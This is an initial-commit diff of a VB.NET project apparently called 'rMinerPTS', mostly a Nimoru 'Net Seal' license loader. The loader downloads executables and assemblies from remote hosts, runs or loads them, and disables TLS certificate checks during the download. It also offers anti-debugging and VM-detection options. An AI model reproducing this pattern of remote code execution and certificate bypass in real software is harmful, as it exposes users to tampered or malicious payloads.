initial commit
This commit is contained in:
i2p
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "rMinerPTS", "rMinerPTS\rMinerPTS.vbproj", "{3E106CB2-D46A-4097-8ED8-66239559BFCF}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3E106CB2-D46A-4097-8ED8-66239559BFCF}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{3E106CB2-D46A-4097-8ED8-66239559BFCF}.Debug|x86.Build.0 = Debug|x86
|
||||
{3E106CB2-D46A-4097-8ED8-66239559BFCF}.Release|x86.ActiveCfg = Release|x86
|
||||
{3E106CB2-D46A-4097-8ED8-66239559BFCF}.Release|x86.Build.0 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,785 @@
|
||||
Imports System
|
||||
Imports System.Net
|
||||
Imports System.Text
|
||||
Imports System.IO
|
||||
Imports System.IO.Compression
|
||||
Imports System.Diagnostics
|
||||
Imports System.Reflection
|
||||
Imports System.Windows.Forms
|
||||
Imports System.ComponentModel
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Collections.Generic
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Net.Security
|
||||
Imports System.Security
|
||||
Imports System.Security.Cryptography.X509Certificates
|
||||
|
||||
''' <summary>
|
||||
''' License Loader, Version: 2.0.0.7, Changed: 09/05/2013
|
||||
''' </summary>
|
||||
|
||||
Friend NotInheritable Class License
|
||||
|
||||
#Region " ReadOnly Properties "
|
||||
|
||||
ReadOnly Property Username As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUsername").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private _ProductVersion As Version
|
||||
ReadOnly Property ProductVersion As Version
|
||||
Get
|
||||
If _ProductVersion Is Nothing Then
|
||||
_ProductVersion = New Version(Application.ProductVersion)
|
||||
End If
|
||||
|
||||
Return _ProductVersion
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property ExecutablePath As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetExecutablePath").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property GlobalMessage As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetMessage").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property IPAddress As IPAddress
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetIPAddress").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, IPAddress)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property ExpirationDate As Date
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetExpiration").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Date)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property TimeRemaining As TimeSpan
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetRemaining").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, TimeSpan)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property LicenseType As LicenseType
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetLicenseType").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, LicenseType)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property Points As Integer
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetPoints").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Integer)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UnlimitedTime As Boolean
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUnlimitedTime").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Boolean)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UpdateAvailable As Boolean
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUpdateAvailable").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Boolean)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UsersCount As Integer
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUsersCount").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Integer)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property UsersOnline As Integer
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetUsersOnline").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Integer)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property GUID As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetGUID").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property PublicToken As String
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetPublicToken").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, String)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property PrivateKey As Byte()
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetPrivateKey").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property Client As WebClient
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetClient").Invoke(Nothing, Nothing)
|
||||
Return DirectCast(Data, WebClient)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
ReadOnly Property News As NewsPost()
|
||||
Get
|
||||
Dim Data As Object = Instance.GetMethod("GetNews").Invoke(Nothing, Nothing)
|
||||
Dim Values As Object() = DirectCast(Data, Object())
|
||||
|
||||
Dim Section As Integer
|
||||
Dim T As New List(Of NewsPost)
|
||||
|
||||
For I As Integer = 0 To Values.Length - 1 Step 3
|
||||
Section = I * 3
|
||||
T.Add(New NewsPost(Values(I), Values(I + 1), Values(I + 2)))
|
||||
Next
|
||||
|
||||
Return T.ToArray()
|
||||
End Get
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Initialize Properties "
|
||||
|
||||
Private _ID As String
|
||||
Property ID() As String
|
||||
Get
|
||||
Return _ID
|
||||
End Get
|
||||
Set(ByVal value As String)
|
||||
_ID = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Catch As Boolean = True
|
||||
Property [Catch]() As Boolean
|
||||
Get
|
||||
Return _Catch
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_Catch = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _DisableUpdates As Boolean
|
||||
Property DisableUpdates() As Boolean
|
||||
Get
|
||||
Return _DisableUpdates
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_DisableUpdates = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _RunHook As GenericDelegate
|
||||
Property RunHook() As GenericDelegate
|
||||
Get
|
||||
Return _RunHook
|
||||
End Get
|
||||
Set(ByVal value As GenericDelegate)
|
||||
_RunHook = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _BanHook As GenericDelegate
|
||||
Property BanHook() As GenericDelegate
|
||||
Get
|
||||
Return _BanHook
|
||||
End Get
|
||||
Set(ByVal value As GenericDelegate)
|
||||
_BanHook = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _RenewHook As GenericDelegate
|
||||
Property RenewHook() As GenericDelegate
|
||||
Get
|
||||
Return _RenewHook
|
||||
End Get
|
||||
Set(ByVal value As GenericDelegate)
|
||||
_RenewHook = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _Protection As RuntimeProtection
|
||||
Property Protection() As RuntimeProtection
|
||||
Get
|
||||
Return _Protection
|
||||
End Get
|
||||
Set(ByVal value As RuntimeProtection)
|
||||
_Protection = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Private _ValidateCore As Boolean = True
|
||||
Property ValidateCore As Boolean
|
||||
Get
|
||||
Return _ValidateCore
|
||||
End Get
|
||||
Set(ByVal value As Boolean)
|
||||
_ValidateCore = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " Public Methods "
|
||||
|
||||
Sub Initialize(ByVal programID As String)
|
||||
ID = programID
|
||||
Initialize()
|
||||
End Sub
|
||||
|
||||
Sub Initialize()
|
||||
If LicenseGlobal.LicenseInitialize Then Return
|
||||
LicenseGlobal.LicenseInitialize = True
|
||||
|
||||
If String.IsNullOrEmpty(ID) Then
|
||||
ErrorKill("Unable to initialize due to missing Net Seal ID.")
|
||||
Return
|
||||
End If
|
||||
|
||||
ServicePointManager.Expect100Continue = False
|
||||
ServicePointManager.DefaultConnectionLimit = 5
|
||||
|
||||
Try
|
||||
WC = New CookieClient()
|
||||
|
||||
Dim Common As String = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)
|
||||
LocationPath = Path.Combine(Common, "Nimoru")
|
||||
|
||||
LicenseLocation = Path.Combine(LocationPath, "LicenseSE")
|
||||
GizmoDllLocation = Path.Combine(LocationPath, "GizmoDll")
|
||||
GizmoLocation = Path.Combine(LocationPath, "GizmoSE")
|
||||
|
||||
OverrideSSL() '--BEGIN OVERRIDE--
|
||||
|
||||
DownloadChecksums()
|
||||
DownloadComponents()
|
||||
|
||||
RestoreSSL() '--END OVERRIDE--
|
||||
|
||||
Endpoint = Checksums(5)
|
||||
ValidateSignature()
|
||||
|
||||
Instance.GetMethod("SetID").Invoke(Nothing, New Object() {ID})
|
||||
Instance.GetMethod("SetCatch").Invoke(Nothing, New Object() {[Catch]})
|
||||
Instance.GetMethod("SetDisableUpdates").Invoke(Nothing, New Object() {DisableUpdates})
|
||||
Instance.GetMethod("SetRunHook").Invoke(Nothing, New Object() {RunHook})
|
||||
Instance.GetMethod("SetBanHook").Invoke(Nothing, New Object() {BanHook})
|
||||
Instance.GetMethod("SetRenewHook").Invoke(Nothing, New Object() {RenewHook})
|
||||
Instance.GetMethod("SetScan").Invoke(Nothing, New Object() {DirectCast(Protection, Byte)})
|
||||
Catch ex As Exception
|
||||
Dim T As New StringBuilder
|
||||
T.AppendLine(Date.UtcNow.ToString)
|
||||
T.AppendLine()
|
||||
T.AppendLine(ex.Message)
|
||||
T.AppendLine(ex.StackTrace)
|
||||
File.WriteAllText("loader.log", T.ToString)
|
||||
|
||||
ErrorKill("Unable to continue due to an error. Exception written to 'loader.log' file.")
|
||||
Return
|
||||
End Try
|
||||
|
||||
Try
|
||||
Instance.GetMethod("RunWE").Invoke(Nothing, New Object() {Version, ProductVersion, Endpoint})
|
||||
Catch
|
||||
ErrorKill("Unable to initialize license file.")
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Sub ShowAccount()
|
||||
Instance.GetMethod("ShowAccount").Invoke(Nothing, Nothing)
|
||||
End Sub
|
||||
|
||||
Function Encrypt(ByVal data As String) As String
|
||||
InitializeRm()
|
||||
|
||||
Dim R As Byte() = Encoding.UTF8.GetBytes(data)
|
||||
Dim O As Byte() = Encryptor.TransformFinalBlock(R, 0, R.Length)
|
||||
Dim U(O.Length + 3) As Byte
|
||||
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(data.Length), 0, U, 0, 4)
|
||||
Buffer.BlockCopy(O, 0, U, 4, O.Length)
|
||||
|
||||
Return Convert.ToBase64String(U)
|
||||
End Function
|
||||
|
||||
Function Decrypt(ByVal data As Byte()) As Byte()
|
||||
InitializeRm()
|
||||
|
||||
Dim Size As Integer = BitConverter.ToInt32(data, 0)
|
||||
Dim O As Byte() = Decryptor.TransformFinalBlock(data, 4, data.Length - 4)
|
||||
|
||||
Dim U(Size - 1) As Byte
|
||||
Buffer.BlockCopy(O, 0, U, 0, Size)
|
||||
|
||||
Return U
|
||||
End Function
|
||||
|
||||
'NOTE: If String.IsNullOrEmpty() get new posts from License.News.
|
||||
Function GetPostMessage(ByVal postID As Integer) As String
|
||||
Dim Data As Object = Instance.GetMethod("GetPostMessage").Invoke(Nothing, New Object() {postID})
|
||||
Return DirectCast(Data, String)
|
||||
End Function
|
||||
|
||||
Function GetVariable(ByVal name As String) As String
|
||||
Dim Data As Object = Instance.GetMethod("GetVariable").Invoke(Nothing, New Object() {name})
|
||||
Return DirectCast(Data, String)
|
||||
End Function
|
||||
|
||||
Function SpendPoints(ByVal count As Integer) As Boolean
|
||||
Dim Data As Object = Instance.GetMethod("SpendPoints").Invoke(Nothing, New Object() {count})
|
||||
Return DirectCast(Data, Boolean)
|
||||
End Function
|
||||
|
||||
Sub InstallUpdates()
|
||||
Instance.GetMethod("InstallUpdates").Invoke(Nothing, Nothing)
|
||||
End Sub
|
||||
|
||||
Sub BanCurrentUser(ByVal reason As String)
|
||||
Instance.GetMethod("BanCurrentUser").Invoke(Nothing, New Object() {reason})
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " System Declarations "
|
||||
|
||||
'IMPORTANT: DO NOT CHANGE THIS!
|
||||
Private Version As New Version("2.0.0.6")
|
||||
|
||||
Private Instance As Type
|
||||
Private WC As CookieClient
|
||||
|
||||
Private LocationPath As String
|
||||
Private LicenseLocation As String
|
||||
Private GizmoDllLocation As String
|
||||
Private GizmoLocation As String
|
||||
|
||||
Private Checksums As String()
|
||||
Private Endpoint As String
|
||||
|
||||
Private Const Domain1 As String = "http://seal.nimoru.com/Base/"
|
||||
Private Const Domain2 As String = "https://s3.amazonaws.com/nimoru/"
|
||||
|
||||
Private Const PublicKey As String = "BgIAAAAiAABEU1MxAAQAAKVlurdZMaHymNk04yRy3VGj0Bhf6gGIBsGr1zk42LrdnwYLfvn7MBAiYoCH2cD07M/HuM6NW1WqJQVF2omwH5S211wfvBCutU92RxXldmfvd06l8eQqmppztYIrXdxmW0BRlosBKPM5ms6YXZnoMKseAoqZ6Ajza8U9QCJMkSHSR+O23EoGj9V+7xwkCoYHklFtLJzERB6y/DW1BCCHhLblzpFz+mht1CD6xAi2QBNY7vZcWdbqo+ZLT4y7sw8jU61liYBuZLA/t+6KHhoIwZ+NIErsCHW5RD9ln5VpMC66wBCcY594ZTIManIuvmpw4eQaUXZPoMogf29gJgJSolaDg5iP1XDqzOTPu9RdsHe3R1ZaNglrL05zoTM94Zkl5KT+bPAUC99kGrEDmNipe6tj8FwoOTNNaTaOvWZlXTtAfaxqGV47nxKfabgxEl08n0c3PBJEjUZzJ4chwQ2Ex2A5uYBgRukcmKmRmdwIphHq0IwdoxS1+6HSwXxg1d3EEAoxJ75R1eSXF+cXOeC7d/U2UY0tqwAAAMvTiz5uMzpBQIYdNcbYnrJwHObk"
|
||||
|
||||
Private ReadOnly Property UID As String
|
||||
Get
|
||||
Return "?uid=" & BitConverter.ToString(BitConverter.GetBytes(Environment.TickCount)).Replace("-", "")
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private Encryptor As ICryptoTransform
|
||||
Private Decryptor As ICryptoTransform
|
||||
Private RmInitialize As Boolean
|
||||
|
||||
<EditorBrowsable(EditorBrowsableState.Advanced)> _
|
||||
Delegate Sub GenericDelegate()
|
||||
|
||||
<DllImport("kernel32.dll", EntryPoint:="ExitProcess")> _
|
||||
Private Shared Sub ExitProcess(ByVal code As UInteger)
|
||||
End Sub
|
||||
|
||||
<DllImport("mscoree.dll", EntryPoint:="StrongNameSignatureVerificationEx", CharSet:=CharSet.Unicode)> _
|
||||
Private Shared Function StrongNameSignatureVerificationEx( _
|
||||
ByVal fileName As String, _
|
||||
ByVal force As Boolean, _
|
||||
ByRef genuine As Boolean) As Boolean
|
||||
End Function
|
||||
|
||||
<DllImport("mscoree.dll", PreserveSig:=False, EntryPoint:="CLRCreateInstance")> _
|
||||
Private Shared Function CreateInstance( _
|
||||
<MarshalAs(UnmanagedType.LPStruct)> ByVal cid As Guid, _
|
||||
<MarshalAs(UnmanagedType.LPStruct)> ByVal iid As Guid) As <MarshalAs(UnmanagedType.Interface)> Object
|
||||
End Function
|
||||
|
||||
#End Region
|
||||
|
||||
#Region " System Methods "
|
||||
|
||||
Private Sub DownloadChecksums()
|
||||
Try
|
||||
Checksums = WC.DownloadString(Domain1 & "checksumSE.php" & UID).Split(Char.MinValue)
|
||||
Catch ex As Exception
|
||||
Threading.Thread.Sleep(500)
|
||||
Checksums = WC.DownloadString(Domain2 & "checksumSE.txt" & UID).Split(Convert.ToChar(124))
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadComponents()
|
||||
Dim Hash As String
|
||||
If Not Directory.Exists(LocationPath) Then
|
||||
Directory.CreateDirectory(LocationPath)
|
||||
End If
|
||||
|
||||
If Not File.Exists(GizmoDllLocation) Then
|
||||
DownloadGizmoDll()
|
||||
End If
|
||||
|
||||
Hash = MD5File(GizmoDllLocation)
|
||||
If Not Hash = Checksums(1) Then
|
||||
DownloadGizmoDll()
|
||||
End If
|
||||
|
||||
If Not File.Exists(GizmoLocation) Then
|
||||
DownloadGizmo()
|
||||
End If
|
||||
|
||||
Hash = MD5File(GizmoLocation)
|
||||
If Not Hash = Checksums(2) Then
|
||||
DownloadGizmo()
|
||||
End If
|
||||
|
||||
If Not File.Exists(LicenseLocation) Then
|
||||
DownloadLicense()
|
||||
End If
|
||||
|
||||
Hash = MD5File(LicenseLocation)
|
||||
If Not Hash = Checksums(3) Then
|
||||
DownloadLicense()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ValidateSignature()
|
||||
If ValidateCore AndAlso Not CheckCore() Then
|
||||
Throw New InvalidDataException("Core framework files are not trusted.")
|
||||
Return
|
||||
End If
|
||||
|
||||
Dim M As FileStream = File.OpenRead(LicenseLocation)
|
||||
Dim R As New BinaryReader(M)
|
||||
|
||||
Dim FullData As Byte() = R.ReadBytes(CInt(M.Length))
|
||||
M.Position = 2
|
||||
|
||||
Dim Sign As Byte() = R.ReadBytes(40)
|
||||
Dim Data As Byte() = R.ReadBytes(CInt(M.Length - Sign.Length - 2))
|
||||
R.Close()
|
||||
|
||||
Dim DSA As New DSACryptoServiceProvider
|
||||
DSA.ImportCspBlob(Convert.FromBase64String(PublicKey))
|
||||
|
||||
If DSA.VerifyData(Data, Sign) Then
|
||||
Instance = Assembly.Load(FullData).GetType("Share")
|
||||
Else
|
||||
Throw New InvalidDataException("Unable to validate signature.")
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub DownloadGizmoDll()
|
||||
Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(1) & ".co")
|
||||
Data = Decompress(Data)
|
||||
|
||||
Dim Hash As String = MD5(Data)
|
||||
If Not Checksums(1) = Hash Then
|
||||
Fail(GizmoDllLocation)
|
||||
Return
|
||||
End If
|
||||
|
||||
File.WriteAllBytes(GizmoDllLocation, Data)
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadGizmo()
|
||||
Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(2) & ".co")
|
||||
Data = GizmoDecompress(Data)
|
||||
|
||||
Dim Hash As String = MD5(Data)
|
||||
If Not Checksums(2) = Hash Then
|
||||
Fail(GizmoLocation)
|
||||
Return
|
||||
End If
|
||||
|
||||
File.WriteAllBytes(GizmoLocation, Data)
|
||||
End Sub
|
||||
|
||||
Private Sub DownloadLicense()
|
||||
Dim PI As New ProcessStartInfo
|
||||
PI.Arguments = String.Format("""{0}"" ""{1}"" {2} -s", Checksums(0) & Checksums(3) & ".co", LicenseLocation, Checksums(3))
|
||||
PI.FileName = GizmoLocation
|
||||
PI.UseShellExecute = False
|
||||
|
||||
Dim P As Process = Process.Start(PI)
|
||||
If Not P.WaitForExit(20000) Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
|
||||
If Not P.ExitCode = 7788 Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub Fail(ByVal path As String)
|
||||
File.Delete(path)
|
||||
ErrorKill("Failed to initialize all the required components.")
|
||||
End Sub
|
||||
|
||||
Private Sub ErrorKill(ByVal message As String)
|
||||
MessageBox.Show(message, "Loader Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
Environment.Exit(0)
|
||||
ExitProcess(0)
|
||||
End Sub
|
||||
|
||||
|
||||
Private Function Decompress(ByVal data As Byte()) As Byte()
|
||||
Dim Size As Integer = BitConverter.ToInt32(data, 0)
|
||||
|
||||
Dim U(Size - 1) As Byte
|
||||
Dim M As New MemoryStream(data, 4, data.Length - 4)
|
||||
|
||||
Dim D As New DeflateStream(M, CompressionMode.Decompress, False)
|
||||
D.Read(U, 0, U.Length)
|
||||
|
||||
D.Close()
|
||||
M.Close()
|
||||
Return U
|
||||
End Function
|
||||
|
||||
Private Function GizmoDecompress(ByVal data As Byte()) As Byte()
|
||||
Dim GizmoDll As Byte() = File.ReadAllBytes(GizmoDllLocation)
|
||||
Dim G As MethodInfo = Assembly.Load(GizmoDll).GetType("H").GetMethod("Decompress")
|
||||
Return DirectCast(G.Invoke(Nothing, New Object() {data}), Byte())
|
||||
End Function
|
||||
|
||||
|
||||
Private Function MD5(ByVal data As Byte()) As String
|
||||
Dim H As New MD5CryptoServiceProvider
|
||||
Return HashToString(H.ComputeHash(data))
|
||||
End Function
|
||||
|
||||
Private Function MD5File(ByVal path As String) As String
|
||||
Dim F As New FileStream(path, FileMode.Open, FileAccess.Read)
|
||||
Dim H As New MD5CryptoServiceProvider
|
||||
|
||||
Dim Hash As String = HashToString(H.ComputeHash(F))
|
||||
|
||||
F.Close()
|
||||
Return Hash
|
||||
End Function
|
||||
|
||||
Private Function HashToString(ByVal data As Byte()) As String
|
||||
Return BitConverter.ToString(data).ToLower().Replace("-", String.Empty)
|
||||
End Function
|
||||
|
||||
Private Sub InitializeRm()
|
||||
If RmInitialize Then Return
|
||||
RmInitialize = True
|
||||
|
||||
Dim Rm As New RijndaelManaged
|
||||
Rm.Padding = PaddingMode.Zeros
|
||||
Rm.Mode = CipherMode.CBC
|
||||
Rm.Key = PrivateKey
|
||||
Rm.IV = PrivateKey
|
||||
|
||||
Encryptor = Rm.CreateEncryptor()
|
||||
Decryptor = Rm.CreateDecryptor()
|
||||
End Sub
|
||||
|
||||
Private SN As IStrongName
|
||||
|
||||
Private Function CheckCore() As Boolean
|
||||
Dim Base As String = RuntimeEnvironment.GetRuntimeDirectory()
|
||||
Dim Build As String = RuntimeEnvironment.GetSystemVersion()
|
||||
Dim HostCLR As Boolean = Int32.Parse(Build(1).ToString()) >= 4
|
||||
|
||||
If HostCLR Then
|
||||
Dim CID_META_HOST As New Guid("9280188D-0E8E-4867-B30C-7FA83884E8DE")
|
||||
Dim CID_STRONG_NAME As New Guid("B79B0ACD-F5CD-409B-B5A5-A16244610B92")
|
||||
|
||||
Dim Meta As IMeta = DirectCast(CreateInstance(CID_META_HOST, GetType(IMeta).GUID), IMeta)
|
||||
Dim Runtime As IRuntime = DirectCast(Meta.GetRuntime(Build, GetType(IRuntime).GUID), IRuntime)
|
||||
SN = DirectCast(Runtime.GetInterface(CID_STRONG_NAME, GetType(IStrongName).GUID), IStrongName)
|
||||
End If
|
||||
|
||||
Dim File1 As String = Path.ChangeExtension(Path.Combine(Base, "mscorlib"), "dll")
|
||||
Dim File2 As String = Path.ChangeExtension(Path.Combine(Base, "system"), "dll")
|
||||
|
||||
Dim Token As Byte() = New Byte() {183, 122, 92, 86, 25, 52, 224, 137}
|
||||
If Not IsTrusted(File1, Token, HostCLR) Then Return False
|
||||
If Not IsTrusted(File2, Token, HostCLR) Then Return False
|
||||
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private Function IsTrusted(ByVal path As String, ByVal token As Byte(), ByVal hostCLR As Boolean) As Boolean
|
||||
Dim Genuine As Boolean
|
||||
|
||||
If hostCLR Then
|
||||
If Not (SN.StrongNameSignatureVerificationEx(path, True, Genuine) = 0 AndAlso Genuine) Then Return False
|
||||
Else
|
||||
If Not (StrongNameSignatureVerificationEx(path, True, Genuine) AndAlso Genuine) Then Return False
|
||||
End If
|
||||
|
||||
Dim PublicToken As Byte() = Assembly.LoadFile(path).GetName().GetPublicKeyToken()
|
||||
If PublicToken Is Nothing OrElse Not PublicToken.Length = 8 Then Return False
|
||||
|
||||
For I As Integer = 0 To 7
|
||||
If Not PublicToken(I) = token(I) Then Return False
|
||||
Next
|
||||
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private SSLCallback As RemoteCertificateValidationCallback
|
||||
Private Function ValidateSSL(ByVal sender As Object, ByVal cert As X509Certificate, ByVal chain As X509Chain, ByVal errors As SslPolicyErrors) As Boolean
|
||||
Return True
|
||||
End Function
|
||||
|
||||
Private Sub OverrideSSL()
|
||||
SSLCallback = ServicePointManager.ServerCertificateValidationCallback
|
||||
ServicePointManager.ServerCertificateValidationCallback = New RemoteCertificateValidationCallback(AddressOf ValidateSSL)
|
||||
End Sub
|
||||
|
||||
Private Sub RestoreSSL()
|
||||
ServicePointManager.ServerCertificateValidationCallback = SSLCallback
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("D332DB9E-B9B3-4125-8207-A14884F53216")> _
|
||||
Private Interface IMeta
|
||||
Function GetRuntime(ByVal version As String, <MarshalAs(UnmanagedType.LPStruct)> ByVal iid As Guid) As <MarshalAs(UnmanagedType.Interface)> Object
|
||||
End Interface
|
||||
|
||||
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("BD39D1D2-BA2F-486A-89B0-B4B0CB466891")> _
|
||||
Private Interface IRuntime
|
||||
Sub M1()
|
||||
Sub M2()
|
||||
Sub M3()
|
||||
Sub M4()
|
||||
Sub M5()
|
||||
Sub M6()
|
||||
Function GetInterface(<MarshalAs(UnmanagedType.LPStruct)> cid As Guid, <MarshalAs(UnmanagedType.LPStruct)> iid As Guid) As <MarshalAs(UnmanagedType.Interface)> Object
|
||||
End Interface
|
||||
|
||||
<InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("9FD93CCF-3280-4391-B3A9-96E1CDE77C8D")> _
|
||||
Private Interface IStrongName
|
||||
Sub M1()
|
||||
Sub M2()
|
||||
Sub M3()
|
||||
Sub M4()
|
||||
Sub M5()
|
||||
Sub M6()
|
||||
Sub M7()
|
||||
Sub M8()
|
||||
Sub M9()
|
||||
Sub M10()
|
||||
Sub M11()
|
||||
Sub M12()
|
||||
Sub M13()
|
||||
Sub M14()
|
||||
Sub M15()
|
||||
Sub M16()
|
||||
Sub M17()
|
||||
Sub M18()
|
||||
Sub M19()
|
||||
Sub M20()
|
||||
Function StrongNameSignatureVerificationEx(ByVal filePath As String, ByVal force As Boolean, ByRef genuine As Boolean) As Integer
|
||||
End Interface
|
||||
|
||||
End Class
|
||||
|
||||
Friend Module LicenseGlobal
|
||||
|
||||
Friend Seal As New License
|
||||
Friend LicenseInitialize As Boolean
|
||||
|
||||
End Module
|
||||
|
||||
Friend Enum LicenseType As Byte
|
||||
Free = 0
|
||||
Bronze = 1
|
||||
Silver = 2
|
||||
Gold = 3
|
||||
Platinum = 4
|
||||
Diamond = 5
|
||||
End Enum
|
||||
|
||||
<Flags()> _
|
||||
Friend Enum RuntimeProtection As Byte
|
||||
None = 0
|
||||
Debuggers = 1
|
||||
DebuggersEx = 2
|
||||
Timing = 4
|
||||
Parent = 8
|
||||
FullScan = 15
|
||||
VirtualMachine = 16
|
||||
End Enum
|
||||
|
||||
Friend Structure NewsPost
|
||||
Private ReadOnly _ID As Integer
|
||||
ReadOnly Property ID() As Integer
|
||||
Get
|
||||
Return _ID
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private ReadOnly _Name As String
|
||||
ReadOnly Property Name() As String
|
||||
Get
|
||||
Return _Name
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Private ReadOnly _Time As Date
|
||||
ReadOnly Property Time() As Date
|
||||
Get
|
||||
Return _Time
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Sub New(ByVal id As Object, ByVal name As Object, ByVal time As Object)
|
||||
_ID = DirectCast(id, Integer)
|
||||
_Name = DirectCast(name, String)
|
||||
_Time = DirectCast(time, Date)
|
||||
End Sub
|
||||
End Structure
|
||||
|
||||
Friend NotInheritable Class CookieClient
|
||||
Inherits WebClient
|
||||
|
||||
Private Request As HttpWebRequest
|
||||
Public Cookies As New CookieContainer
|
||||
|
||||
Protected Overrides Function GetWebRequest(ByVal address As Uri) As WebRequest
|
||||
Request = DirectCast(MyBase.GetWebRequest(address), HttpWebRequest)
|
||||
Request.Timeout = 8000
|
||||
Request.ReadWriteTimeout = 30000
|
||||
Request.KeepAlive = False
|
||||
Request.CookieContainer = Cookies
|
||||
Request.Proxy = Nothing
|
||||
Return Request
|
||||
End Function
|
||||
|
||||
Sub ClearCookies()
|
||||
Cookies = New CookieContainer
|
||||
End Sub
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,169 @@
|
||||
Structure Settings
|
||||
Public Shared IconPath As [String] = ""
|
||||
Public Shared SavePath As [String] = ""
